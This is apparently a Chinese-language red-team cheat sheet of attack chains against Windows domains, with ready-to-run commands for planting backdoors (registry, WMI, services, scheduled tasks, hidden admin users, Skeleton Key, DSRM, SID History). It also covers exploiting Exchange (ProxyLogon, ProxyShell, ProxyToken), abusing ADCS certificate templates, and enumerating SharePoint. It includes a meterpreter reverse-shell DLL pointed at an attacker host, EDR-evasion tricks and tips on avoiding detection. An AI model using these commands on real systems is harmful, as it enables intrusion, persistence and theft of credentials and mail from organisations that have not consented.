net group "Domain Computers" /domain ``` **2. PowerView枚举** _[windows]_ _使用PowerView枚举计算机_ ``` Get-NetComputer | select name,operatingsystem,ipv4address ``` **3. 查找域控制器** _[windows]_ _查找域控制器_ ``` Get-NetComputer -DomainController ``` **4. 查找特定系统** _[windows]_ _查找特定操作系统_ ``` Get-NetComputer -OperatingSystem "*Server 2019*" ``` **5. 查找活跃计算机** _[windows]_ _查找在线计算机_ ``` Get-NetComputer -Ping ``` **6. 查找管理员会话** _[windows]_ _查找域管理员登录位置_ ``` Find-DomainUserLocation ``` **分析:** 计算机枚举可以发现域内所有计算机,识别高价值目标。 **OPSEC:** 计算机枚举是正常操作;重点关注域控制器和服务器;查找管理员会话 --- ## 权限维持 ### 注册表持久化 `persistence-registry` 通过注册表实现权限维持 子类:**注册表** · tags: `persistence` `registry` `windows` `autorun` **前置条件:** 已获得目标机器权限;管理员权限;Windows系统 **攻击链:** **1. Run键持久化** _[windows]_ _添加Run键实现开机自启_ ``` reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\Public\backdoor.exe" /f ``` **2. RunOnce键** _[windows]_ _RunOnce键,执行一次后删除_ ``` reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f ``` **3. Winlogon Helper** _[windows]_ _修改Userinit实现持久化_ ``` reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\backdoor.exe" /f ``` **4. 服务持久化** _[windows]_ _创建服务实现持久化_ ``` sc create Backdoor binPath= "C:\backdoor.exe" start= auto ``` **EDR 绕过变体:** **1. 隐藏注册表键** _使用空字节隐藏注册表键_ ``` reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\x00" /v Backdoor /t REG_SZ /d "C:\backdoor.exe" /f ``` **分析:** 注册表持久化会在系统启动或用户登录时执行恶意程序。 **OPSEC:** Run键是最常见的持久化方式,容易被检测;考虑使用更隐蔽的方式;定期检查注册表异常项 --- ### WMI持久化 `persistence-wmi` 通过WMI事件订阅实现持久化 子类:**WMI** · tags: `wmi` `persistence` `windows` **前置条件:** 管理员权限 **攻击链:** **1. 创建事件过滤器** _[windows]_ _创建WMI事件过滤器_ ``` $filter = New-WmiEventFilter -Name "evil" -Query "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" ``` **2. 创建事件消费者** _[windows]_ _创建命令行消费者_ ``` $consumer = New-WmiEventConsumer -Name "evil" -CommandLineTemplate "powershell -e BASE64_CMD" ``` **3. 绑定过滤器和消费者** _[windows]_ _绑定触发执行_ ``` New-WmiFilterToConsumerBinding -Filter $filter -Consumer $consumer ``` --- ### 启动文件夹持久化 `persistence-startup` 通过启动文件夹实现持久化 子类:**启动文件夹** · tags: `startup` `persistence` `windows` **前置条件:** 写入权限 **攻击链:** **1. 当前用户启动文件夹** _[windows]_ _当前用户启动_ ``` copy evil.lnk "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\" ``` **2. 所有用户启动文件夹** _[windows]_ _所有用户启动_ ``` copy evil.lnk "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\" ``` --- ### 服务持久化 `persistence-service` 通过创建服务实现持久化 子类:**服务** · tags: `service` `persistence` `windows` **前置条件:** 管理员权限 **攻击链:** **1. 创建服务** _[windows]_ _创建自启动服务_ ``` sc create evilsvc binPath= "cmd /c powershell -e BASE64_CMD" start= auto ``` **2. 启动服务** _[windows]_ _启动服务_ ``` sc start evilsvc ``` --- ### DLL注入持久化 `persistence-dll-injection` 通过DLL注入实现持久化 子类:**DLL注入** · tags: `dll` `injection` `persistence` **前置条件:** 代码执行权限;目标进程 **攻击链:** **1. 创建恶意DLL** _[linux]_ _生成恶意DLL_ ``` msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f dll > evil.dll ``` **2. 注入DLL** _[windows]_ _将DLL注入到运行进程_ ``` 使用工具如InjectDLL、PowerShell等注入到目标进程 ``` **3. AppInit_DLLs** _[windows]_ _通过AppInit_DLLs注入_ ``` reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\evil.dll" /f ``` --- ### 后门用户 `persistence-backdoor-user` 创建后门用户账户 子类:**用户** · tags: `user` `backdoor` `persistence` **前置条件:** 管理员权限 **攻击链:** **1. 创建用户** _[windows]_ _创建管理员用户_ ``` net user backdoor P@ssw0rd /add net localgroup administrators backdoor /add ``` **2. 隐藏用户** _[windows]_ _创建隐藏用户($结尾)_ ``` net user backdoor$ P@ssw0rd /add ``` **3. 修改注册表隐藏** _[windows]_ _通过注册表隐藏用户_ ``` reg add "HKLM\SAM\SAM\Domains\Account\Users\Names\backdoor$" /f ``` --- ### 隐藏用户 `persistence-hidden-user` 创建隐藏的管理员用户 子类:**隐藏用户** · tags: `hidden` `user` `persistence` **前置条件:** SYSTEM权限 **攻击链:** **1. 创建用户** _[windows]_ _创建$结尾用户_ ``` net user hidden$ P@ssw0rd /add ``` **2. 添加到管理员组** _[windows]_ _添加管理员权限_ ``` net localgroup administrators hidden$ /add ``` **3. 注册表隐藏** _[windows]_ _通过注册表完全隐藏_ ``` reg export "HKLM\SAM\SAM\Domains\Account\Users\000003E9" user.reg 修改F值 reg import user.reg ``` --- ### 计划任务持久化 `persistence-scheduled` 通过计划任务实现持久化 子类:**计划任务** · tags: `persistence` `scheduled` `task` **前置条件:** 创建任务权限 **攻击链:** **1. 创建登录任务** _[windows]_ _创建登录时运行的任务_ ``` schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc onlogon /ru SYSTEM ``` **2. 创建定时任务** _[windows]_ _创建每5分钟运行的任务_ ``` schtasks /create /tn "Backdoor" /tr "C:\backdoor.exe" /sc minute /mo 5 ``` **3. PowerShell创建** _[windows]_ _使用PowerShell创建任务_ ``` $action = New-ScheduledTaskAction -Execute "C:\backdoor.exe" $trigger = New-ScheduledTaskTrigger -AtLogon Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "Backdoor" -User "System" ``` **4. Linux Cron** _[linux]_ _Linux计划任务_ ``` crontab -e 添加: * * * * * /tmp/backdoor.sh 或: @reboot /tmp/backdoor.sh ``` --- ### Skeleton Key后门 `skeleton-key` 在域控制器植入万能密码 子类:**域后门** · tags: `skeleton-key` `backdoor` `domain` **前置条件:** 域管理员权限;访问域控制器 **攻击链:** **1. 植入Skeleton Key** _[windows]_ _使用Mimikatz植入_ ``` mimikatz # privilege::debug mimikatz # misc::skeleton ``` **2. 使用万能密码** _[windows]_ _使用万能密码登录_ ``` 万能密码: mimikatz 任何域用户都可以使用mimikatz作为密码登录 ``` **3. 检测方法** _[windows]_ _检测Skeleton Key_ ``` 检查LSASS内存: Get-Process lsass 使用EDR检测内存注入 ``` --- ### DSRM后门 `dsrm-backdoor` 利用DSRM账户建立后门 子类:**域后门** · tags: `dsrm` `backdoor` `domain` **前置条件:** 域管理员权限;访问域控制器 **攻击链:** **1. 获取DSRM密码** _[windows]_ _获取DSRM账户哈希_ ``` mimikatz # lsadump::lsa /patch /name:krbtgt 或 mimikatz # token::elevate mimikatz # lsadump::sam ``` **2. 同步DSRM密码** _[windows]_ _同步DSRM密码与域管理员_ ``` ntdsutil set dsrm password sync from domain account admin q q ``` **3. 启用DSRM账户** _[windows]_ _允许DSRM账户远程登录_ ``` 修改注册表: New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD ``` **4. 使用DSRM登录** _[windows]_ _使用DSRM账户_ ``` 使用DSRM账户哈希: mimikatz # sekurlsa::pth /domain:DC_NAME /user:Administrator /ntlm:HASH 或使用Pass-the-Hash ``` --- ### SID History后门 `sid-history` 利用SID History建立后门 子类:**域后门** · tags: `sid-history` `backdoor` `domain` **前置条件:** 域管理员权限 **攻击链:** **1. 添加SID History** _[windows]_ _添加SID History_ ``` mimikatz # sid::add /sam:backdoor_user /new:administrator 将域管SID添加到普通用户 ``` **2. 验证SID History** _[windows]_ _检查SID History_ ``` Get-ADUser backdoor_user -Properties sidHistory 或 whoami /all ``` **3. 使用后门** _[windows]_ _使用后门账户_ ``` 使用backdoor_user登录 自动获得域管理员权限 ``` --- ### 进程镂空持久化 `persistence-process-hollowing` 利用进程镂空技术实现持久化 子类:**进程注入** · tags: `process-hollowing` `persistence` `injection` **前置条件:** 代码执行权限 **攻击链:** **1. 进程镂空原理** _[windows]_ _进程镂空原理_ ``` 1. 创建合法进程(挂起状态) 2. 替换进程内存 3. 恢复执行 ``` **2. C#实现** _[windows]_ _C#进程镂空_ ``` using System.Runtime.InteropServices; // 创建挂起进程 CreateProcess("C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ...); // 替换内存 NtUnmapViewOfSection(...); VirtualAllocEx(...); WriteProcessMemory(...); ResumeThread(...); ``` **3. 检测方法** _[windows]_ _检测进程镂空_ ``` 检查进程内存: - 进程路径与内存内容不匹配 - 异常的内存区域 - 使用EDR检测 ``` --- ## Exchange攻击 ### ProxyLogon攻击 `proxylogon` CVE-2021-26855 Exchange SSRF 子类:**ProxyLogon** · tags: `exchange` `proxylogon` `cve-2021-26855` **前置条件:** Exchange可访问 **攻击链:** **1. 探测漏洞** _[linux]_ _检查Exchange版本_ ``` curl -k https://exchange.com/owa/auth/x.js 检查Exchange版本 ``` **2. 利用脚本** _[linux]_ _利用ProxyLogon_ ``` python proxylogon.py -u https://exchange.com -e admin@domain.com 获取管理员邮箱访问权限 ``` **3. 手动利用** _手动构造请求_ ``` POST /owa/auth/x.js HTTP/1.1 Cookie: X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-ClientId=xxx 构造SSRF请求 ``` --- ### ProxyShell攻击 `proxyshell` CVE-2021-34473 Exchange RCE 子类:**ProxyShell** · tags: `exchange` `proxyshell` `cve-2021-34473` **前置条件:** Exchange可访问 **攻击链:** **1. 探测漏洞** _[linux]_ _探测漏洞_ ``` curl -k "https://exchange.com/autodiscover/autodiscover.json?@foo.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3f@foo.com" 检查是否存在漏洞 ``` **2. 利用脚本** _[linux]_ _利用ProxyShell_ ``` python proxyshell.py -u https://exchange.com -e admin@domain.com 获取邮箱访问并执行命令 ``` **3. 获取邮件** _访问邮箱_ ``` GET /autodiscover/autodiscover.json?@domain.com/owa/?&Email=admin@domain.com HTTP/1.1 访问邮箱内容 ``` --- ### Exchange枚举 `exchange-enum` 枚举Exchange服务和配置 子类:**枚举** · tags: `exchange` `enum` `recon` **前置条件:** Exchange可访问 **攻击链:** **1. 版本探测** _[linux]_ _探测Exchange版本_ ``` curl -k https://exchange.com/owa/auth/logon.aspx 检查页面源码获取版本信息 ``` **2. Autodiscover** _[linux]_ _Autodiscover枚举_ ``` curl -k -u user:pass https://exchange.com/autodiscover/autodiscover.xml 获取Exchange配置信息 ``` **3. 邮箱枚举** _[linux]_ _枚举邮箱用户_ ``` python oab.py https://exchange.com 下载离线通讯录枚举用户 ``` **4. NTLM泄露** _[linux]_ _NTLM信息泄露_ ``` curl -k https://exchange.com/autodiscover/autodiscover.xml 从WWW-Authenticate头获取域信息 ``` --- ### ProxyToken攻击 `exchange-proxytoken` 利用Exchange ProxyToken绕过认证 子类:**ProxyToken** · tags: `exchange` `proxytoken` `bypass` **前置条件:** Exchange服务器;存在漏洞 **攻击链:** **1. 检测漏洞** _[linux]_ _检测漏洞_ ``` 使用ProxyToken工具: python proxytoken.py -u https://exchange.com -e user@domain.com 检测是否存在漏洞 ``` **2. 利用漏洞** _[linux]_ _获取邮箱访问_ ``` python proxytoken.py -u https://exchange.com -e user@domain.com -a 获取用户邮箱访问权限 ``` **3. 访问邮箱** _访问EWS接口_ ``` curl -k https://exchange.com/ews/Exchange.asmx -H "X-ClientApplication: Test" 绕过认证访问EWS ``` --- ### Exchange邮箱访问 `exchange-mailbox-access` 通过各种方式访问Exchange邮箱 子类:**邮箱访问** · tags: `exchange` `mailbox` `access` **前置条件:** Exchange凭证或漏洞 **攻击链:** **1. OWA访问** _OWA Web访问_ ``` https://exchange.com/owa 使用凭证登录OWA 查看邮件、日历等 ``` **2. EWS访问** _[linux]_ _EWS API访问_ ``` 使用Impacket: python exchanger.py domain/user:password@exchange.com 或使用EWSTools ``` **3. Outlook MAPI** _[windows]_ _Outlook客户端_ ``` 配置Outlook连接Exchange 使用MAPI协议访问邮箱 支持邮件、日历、联系人 ``` **4. 导出邮箱** _[windows]_ _导出邮箱_ ``` PowerShell: New-MailboxExportRequest -Mailbox user@domain.com -FilePath "\\server\share\user.pst" 导出邮箱为PST文件 ``` --- ## ADCS攻击 ### ADCS ESC2攻击 `adcs-esc2` 利用ESC2模板配置错误 子类:**ESC2** · tags: `adcs` `esc2` `certificate` **前置条件:** 域环境;ADCS服务;存在ESC2模板 **攻击链:** **1. 探测ESC2模板** _[linux]_ _探测ESC2模板_ ``` certipy find -u user@domain.com -p password -dc-ip DC_IP 查找Any Purpose或CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT模板 ``` **2. 请求证书** _[linux]_ _请求管理员证书_ ``` certipy req -u user@domain.com -p password -ca CA_NAME -target DC_IP -template VULNERABLE_TEMPLATE -upn administrator@domain.com ``` **3. 使用证书认证** _[linux]_ _使用证书认证_ ``` certipy auth -pfx administrator.pfx -dc-ip DC_IP 获取管理员TGT ``` --- ### ADCS ESC3攻击 `adcs-esc3` 利用ESC3注册代理配置错误 子类:**ESC3** · tags: `adcs` `esc3` `certificate` **前置条件:** 域环境;ADCS服务;存在ESC3配置 **攻击链:** **1. 探测ESC3** _[linux]_ _探测ESC3配置_ ``` certipy find -u user@domain.com -p password -dc-ip DC_IP 查找具有Enrollment Agent权限的模板 ``` **2. 获取注册代理证书** _[linux]_ _获取注册代理证书_ ``` certipy req -u user@domain.com -p password -ca CA_NAME -template EnrollmentAgent 获取注册代理证书 ``` **3. 代表其他用户请求证书** _[linux]_ _代表管理员请求证书_ ``` certipy req -u user@domain.com -p password -ca CA_NAME -template User -on-behalf-of DOMAIN\\Administrator -pfx agent.pfx ``` --- ### ADCS ESC4攻击 `adcs-esc4` 利用ESC4模板权限配置错误 子类:**ESC4** · tags: `adcs` `esc4` `certificate` **前置条件:** 域环境;ADCS服务;对模板有写权限 **攻击链:** **1. 探测ESC4** _[linux]_ _探测模板权限_ ``` certipy find -u user@domain.com -p password -dc-ip DC_IP 查找用户有写权限的模板 ``` **2. 修改模板配置** _[linux]_ _修改模板配置_ ``` certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -save-old 修改模板为ESC1配置 ``` **3. 请求证书** _[linux]_ _请求管理员证书_ ``` certipy req -u user@domain.com -p password -ca CA_NAME -template VULNERABLE_TEMPLATE -upn administrator@domain.com ``` **4. 恢复模板配置** _[linux]_ _恢复模板配置_ ``` certipy template -u user@domain.com -p password -template VULNERABLE_TEMPLATE -configuration old_config.json 恢复原配置避免检测 ``` --- ### ADCS ESC6攻击 `adcs-esc6` 利用ESC6编辑标志配置错误 子类:**ESC6** · tags: `adcs` `esc6` `certificate` **前置条件:** 域环境;ADCS服务;CA启用EDITF_ATTRIBUTESUBJECTALTNAME2 **攻击链:** **1. 探测ESC6** _[linux]_ _探测CA配置_ ``` certipy find -u user@domain.com -p password -dc-ip DC_IP 查找EDITF_ATTRIBUTESUBJECTALTNAME2标志 ``` **2. 请求证书** _[linux]_ _请求管理员证书_ ``` certipy req -u user@domain.com -p password -ca CA_NAME -template User -alt administrator@domain.com 使用-alt参数指定SAN ``` **3. 使用证书认证** _[linux]_ _认证获取TGT_ ``` certipy auth -pfx administrator.pfx -dc-ip DC_IP ``` --- ### ADCS ESC8攻击 `adcs-esc8` 利用ESC8 HTTP端点进行NTLM中继 子类:**ESC8** · tags: `adcs` `esc8` `ntlm-relay` **前置条件:** 域环境;ADCS HTTP端点;可触发NTLM认证 **攻击链:** **1. 探测ESC8** _[linux]_ _探测HTTP端点_ ``` certipy find -u user@domain.com -p password -dc-ip DC_IP 查找HTTP证书端点 ``` **2. 设置NTLM中继** _[linux]_ _设置NTLM中继_ ``` impacket-ntlmrelayx -t http://CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs 监听NTLM认证并中继到ADCS ``` **3. 触发认证** _触发目标NTLM认证_ ``` 使用多种方式触发: - 发送邮件链接 - 打印机漏洞 - WebDAV - 其他NTLM触发方式 ``` --- ## SharePoint攻击 ### SharePoint枚举 `sharepoint-enum` 枚举SharePoint站点和文件 子类:**枚举** · tags: `sharepoint` `enum` `recon` **前置条件:** SharePoint可访问 **攻击链:** **1. 站点枚举** _[linux]_ _枚举站点_ ``` curl -k https://sharepoint.com/_api/web/webs 获取所有子站点 ``` **2. 用户枚举** _[linux]_ _枚举用户_ ``` curl -k https://sharepoint.com/_api/web/siteusers 获取站点用户列表 ``` **3. 文件枚举** _[linux]_ _枚举文档库_ ``` curl -k https://sharepoint.com/_api/web/lists 获取文档库列表 ``` **4. 搜索文件** _[linux]_ _搜索敏感内容_ ``` curl -k "https://sharepoint.com/_api/search/query?querytext='password'" 搜索敏感文件 ``` --- ### SharePoint文件访问 `sharepoint-file-access` 访问SharePoint文档库中的文件 子类:**文件访问** · tags: `sharepoint` `file` `access` **前置条件:** SharePoint凭证或漏洞 **攻击链:** **1. Web界面访问** _Web界面访问_ ``` https://sharepoint.com/sites/site_name/Shared Documents 通过浏览器访问文档库 下载敏感文件 ``` **2. REST API访问** _[linux]_ _REST API访问_ ``` curl -k -u user:password "https://sharepoint.com/_api/web/lists/getbytitle('Documents')/items" 获取文档列表 下载文件内容 ``` **3. CSOM访问** _[windows]_ _CSOM访问_ ``` 使用SharePoint客户端对象模型: ClientContext context = new ClientContext("https://sharepoint.com"); context.Credentials = new SharePointOnlineCredentials(user, password); List list = context.Web.Lists.GetByTitle("Documents"); ``` **4. OneDrive同步** _OneDrive同步_ ``` 使用OneDrive客户端同步SharePoint文档库 本地访问所有文件 离线查看敏感数据 ``` ---